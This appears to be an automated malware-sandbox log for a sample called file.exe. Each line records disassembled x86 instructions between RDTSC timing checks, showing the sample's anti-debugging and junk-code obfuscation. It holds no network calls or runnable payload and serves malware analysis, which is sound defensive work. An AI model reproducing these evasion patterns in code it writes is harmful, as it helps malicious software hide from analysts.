Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150DF1 second address: 5150E2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 jmp 00007FF0E0BA4DA8h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF0E0BA4DA7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150E2B second address: 5150E31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150E31 second address: 5150E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150E35 second address: 5150E39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150E39 second address: 5150E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FF0E0BA4D9Ch 0x00000010 and cx, 9728h 0x00000015 jmp 00007FF0E0BA4D9Bh 0x0000001a popfd 0x0000001b push esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150E64 second address: 5150E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 xchg eax, ecx 0x00000007 jmp 00007FF0E079F160h 0x0000000c mov eax, dword ptr [76FB65FCh] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 call 00007FF0E079F15Dh 0x00000019 pop esi 0x0000001a mov ecx, edx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150E94 second address: 5150E9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150E9A second address: 5150E9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150E9E second address: 5150EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150EAE second address: 5150EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150EB2 second address: 5150ECF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150ECF second address: 5150EDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E079F15Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150EDF second address: 5150EE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150EE3 second address: 5150F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FF152581BD1h 0x0000000e jmp 00007FF0E079F167h 0x00000013 mov ecx, eax 0x00000015 pushad 0x00000016 mov edx, ecx 0x00000018 pushfd 0x00000019 jmp 00007FF0E079F160h 0x0000001e xor cx, 7308h 0x00000023 jmp 00007FF0E079F15Bh 0x00000028 popfd 0x00000029 popad 0x0000002a xor eax, dword ptr [ebp+08h] 0x0000002d pushad 0x0000002e pushad 0x0000002f mov dh, 3Bh 0x00000031 call 00007FF0E079F15Ch 0x00000036 pop eax 0x00000037 popad 0x00000038 push eax 0x00000039 push edx 0x0000003a mov esi, ebx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150F49 second address: 5150F7E instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 3FC22980h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a and ecx, 1Fh 0x0000000d jmp 00007FF0E0BA4D9Fh 0x00000012 ror eax, cl 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF0E0BA4DA5h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150F7E second address: 5150F84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160040 second address: 5160046 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160046 second address: 51600B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF0E079F167h 0x00000009 adc eax, 3650E0EEh 0x0000000f jmp 00007FF0E079F169h 0x00000014 popfd 0x00000015 movzx eax, di 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d jmp 00007FF0E079F163h 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FF0E079F165h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51600B4 second address: 51600B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511003A second address: 51100D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 63B9B5E4h 0x00000008 push ebx 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007FF0E079F15Fh 0x00000013 mov ebp, esp 0x00000015 jmp 00007FF0E079F166h 0x0000001a and esp, FFFFFFF8h 0x0000001d pushad 0x0000001e call 00007FF0E079F15Eh 0x00000023 mov edx, ecx 0x00000025 pop ecx 0x00000026 call 00007FF0E079F167h 0x0000002b call 00007FF0E079F168h 0x00000030 pop esi 0x00000031 pop edi 0x00000032 popad 0x00000033 xchg eax, ecx 0x00000034 pushad 0x00000035 jmp 00007FF0E079F15Ch 0x0000003a mov edx, eax 0x0000003c popad 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 mov esi, 36F303EFh 0x00000046 pushad 0x00000047 popad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51100D3 second address: 51100E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 mov ebx, 5A468300h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51100E7 second address: 51100EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51100EE second address: 5110126 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FF0E0BA4DA6h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 movzx ecx, dx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110126 second address: 5110135 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E079F15Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110135 second address: 51101A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FF0E0BA4D9Eh 0x00000011 mov ebx, dword ptr [ebp+10h] 0x00000014 jmp 00007FF0E0BA4DA0h 0x00000019 xchg eax, esi 0x0000001a jmp 00007FF0E0BA4DA0h 0x0000001f push eax 0x00000020 pushad 0x00000021 mov di, FB74h 0x00000025 mov edi, 53B65AE0h 0x0000002a popad 0x0000002b xchg eax, esi 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushad 0x00000030 popad 0x00000031 jmp 00007FF0E0BA4D9Eh 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51101A8 second address: 5110236 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 pushfd 0x00000007 jmp 00007FF0E079F15Ah 0x0000000c adc esi, 242E8058h 0x00000012 jmp 00007FF0E079F15Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov esi, dword ptr [ebp+08h] 0x0000001e jmp 00007FF0E079F166h 0x00000023 xchg eax, edi 0x00000024 jmp 00007FF0E079F160h 0x00000029 push eax 0x0000002a jmp 00007FF0E079F15Bh 0x0000002f xchg eax, edi 0x00000030 jmp 00007FF0E079F166h 0x00000035 test esi, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FF0E079F167h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110236 second address: 511023C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511023C second address: 5110290 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FF1525BD51Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FF0E079F15Bh 0x0000001a sbb al, FFFFFFEEh 0x0000001d jmp 00007FF0E079F169h 0x00000022 popfd 0x00000023 jmp 00007FF0E079F160h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110290 second address: 51102E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007FF0E0BA4DA7h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e cmp dword ptr [esi+08h], DDEEDDEEh 0x00000015 jmp 00007FF0E0BA4D9Fh 0x0000001a je 00007FF1529C30FBh 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FF0E0BA4DA5h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51102E3 second address: 5110353 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [esi+44h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FF0E079F163h 0x00000015 add eax, 08C2C21Eh 0x0000001b jmp 00007FF0E079F169h 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007FF0E079F160h 0x00000027 xor cl, 00000018h 0x0000002a jmp 00007FF0E079F15Bh 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110353 second address: 5110359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110359 second address: 51103CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b or edx, dword ptr [ebp+0Ch] 0x0000000e jmp 00007FF0E079F166h 0x00000013 test edx, 61000000h 0x00000019 pushad 0x0000001a mov ecx, 33EC93FDh 0x0000001f pushfd 0x00000020 jmp 00007FF0E079F15Ah 0x00000025 sbb cx, 5CD8h 0x0000002a jmp 00007FF0E079F15Bh 0x0000002f popfd 0x00000030 popad 0x00000031 jne 00007FF1525BD432h 0x00000037 pushad 0x00000038 movzx ecx, bx 0x0000003b push edi 0x0000003c movzx ecx, di 0x0000003f pop edi 0x00000040 popad 0x00000041 test byte ptr [esi+48h], 00000001h 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FF0E079F15Bh 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51103CD second address: 51103D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51103D2 second address: 511040A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, cx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007FF1525BD41Bh 0x00000010 jmp 00007FF0E079F15Ch 0x00000015 test bl, 00000007h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF0E079F167h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511040A second address: 5110410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110410 second address: 5110414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51006CF second address: 51006DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E0BA4D9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51006DF second address: 5100731 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF0E079F15Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FF0E079F15Eh 0x00000018 add si, 6708h 0x0000001d jmp 00007FF0E079F15Bh 0x00000022 popfd 0x00000023 mov dx, ax 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 pushad 0x0000002a push esi 0x0000002b mov cx, dx 0x0000002e pop ebx 0x0000002f movzx eax, dx 0x00000032 popad 0x00000033 and esp, FFFFFFF8h 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100731 second address: 5100735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100735 second address: 5100751 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F168h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100751 second address: 5100774 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF0E0BA4DA5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100774 second address: 510081E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF0E079F167h 0x00000009 adc ax, 1F6Eh 0x0000000e jmp 00007FF0E079F169h 0x00000013 popfd 0x00000014 push eax 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FF0E079F163h 0x00000021 adc ecx, 7B96257Eh 0x00000027 jmp 00007FF0E079F169h 0x0000002c popfd 0x0000002d movzx ecx, bx 0x00000030 popad 0x00000031 xchg eax, ebx 0x00000032 pushad 0x00000033 mov bx, C78Ch 0x00000037 call 00007FF0E079F165h 0x0000003c push esi 0x0000003d pop ebx 0x0000003e pop esi 0x0000003f popad 0x00000040 push ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FF0E079F15Fh 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510081E second address: 51008CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c jmp 00007FF0E0BA4D9Eh 0x00000011 mov esi, dword ptr [ebp+08h] 0x00000014 jmp 00007FF0E0BA4DA0h 0x00000019 sub ebx, ebx 0x0000001b jmp 00007FF0E0BA4DA1h 0x00000020 test esi, esi 0x00000022 jmp 00007FF0E0BA4D9Eh 0x00000027 je 00007FF1529CA8A2h 0x0000002d jmp 00007FF0E0BA4DA0h 0x00000032 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007FF0E0BA4D9Dh 0x00000042 sbb ax, 7E96h 0x00000047 jmp 00007FF0E0BA4DA1h 0x0000004c popfd 0x0000004d pushad 0x0000004e popad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51008CA second address: 5100903 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 mov ecx, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF0E079F161h 0x00000013 adc ax, 52A6h 0x00000018 jmp 00007FF0E079F161h 0x0000001d popfd 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100903 second address: 510095D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 je 00007FF1529CA830h 0x0000000c jmp 00007FF0E0BA4DA8h 0x00000011 test byte ptr [76FB6968h], 00000002h 0x00000018 jmp 00007FF0E0BA4DA0h 0x0000001d jne 00007FF1529CA80Eh 0x00000023 jmp 00007FF0E0BA4DA0h 0x00000028 mov edx, dword ptr [ebp+0Ch] 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510095D second address: 5100961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100961 second address: 5100967 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100967 second address: 51009D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F164h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov bx, cx 0x0000000e pushfd 0x0000000f jmp 00007FF0E079F15Ah 0x00000014 sub ax, AF68h 0x00000019 jmp 00007FF0E079F15Bh 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007FF0E079F169h 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FF0E079F168h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51009D8 second address: 51009E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4D9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51009E7 second address: 51009FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E079F164h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51009FF second address: 5100A5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF0E0BA4DA9h 0x00000012 adc ah, FFFFFFA6h 0x00000015 jmp 00007FF0E0BA4DA1h 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007FF0E0BA4DA0h 0x00000021 sbb cx, 2B48h 0x00000026 jmp 00007FF0E0BA4D9Bh 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100A5D second address: 5100A64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 5Ch 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100A64 second address: 5100A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF0E0BA4DA3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100A83 second address: 5100A9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E079F164h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100A9B second address: 5100AAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+14h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ah, 06h 0x00000010 movsx edx, cx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100AAF second address: 5100ABD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E079F15Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100ABD second address: 5100AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100B05 second address: 5100B53 instructions: 0x00000000 rdtsc 0x00000002 call 00007FF0E079F167h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007FF0E079F15Fh 0x00000012 xor esi, 2DDD811Eh 0x00000018 jmp 00007FF0E079F169h 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110C6A second address: 5110C70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110C70 second address: 5110C74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110A5C second address: 5110AF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FF0E0BA4DA7h 0x00000010 pushfd 0x00000011 jmp 00007FF0E0BA4DA8h 0x00000016 and esi, 46AB56E8h 0x0000001c jmp 00007FF0E0BA4D9Bh 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 jmp 00007FF0E0BA4DA6h 0x00000029 mov ebp, esp 0x0000002b jmp 00007FF0E0BA4DA0h 0x00000030 pop ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FF0E0BA4DA7h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110AF9 second address: 5110B00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180A93 second address: 5180A99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180A99 second address: 5180B0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007FF0E079F161h 0x00000010 mov ecx, 6D9DE867h 0x00000015 pop esi 0x00000016 jmp 00007FF0E079F15Dh 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e call 00007FF0E079F15Ch 0x00000023 mov di, ax 0x00000026 pop ecx 0x00000027 mov esi, edx 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c pushad 0x0000002d call 00007FF0E079F15Fh 0x00000032 mov eax, 3A504E2Fh 0x00000037 pop eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FF0E079F15Bh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170D13 second address: 5170D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170D18 second address: 5170D1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170D1E second address: 5170D22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170D22 second address: 5170D26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170D26 second address: 5170D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170D37 second address: 5170D4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F162h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
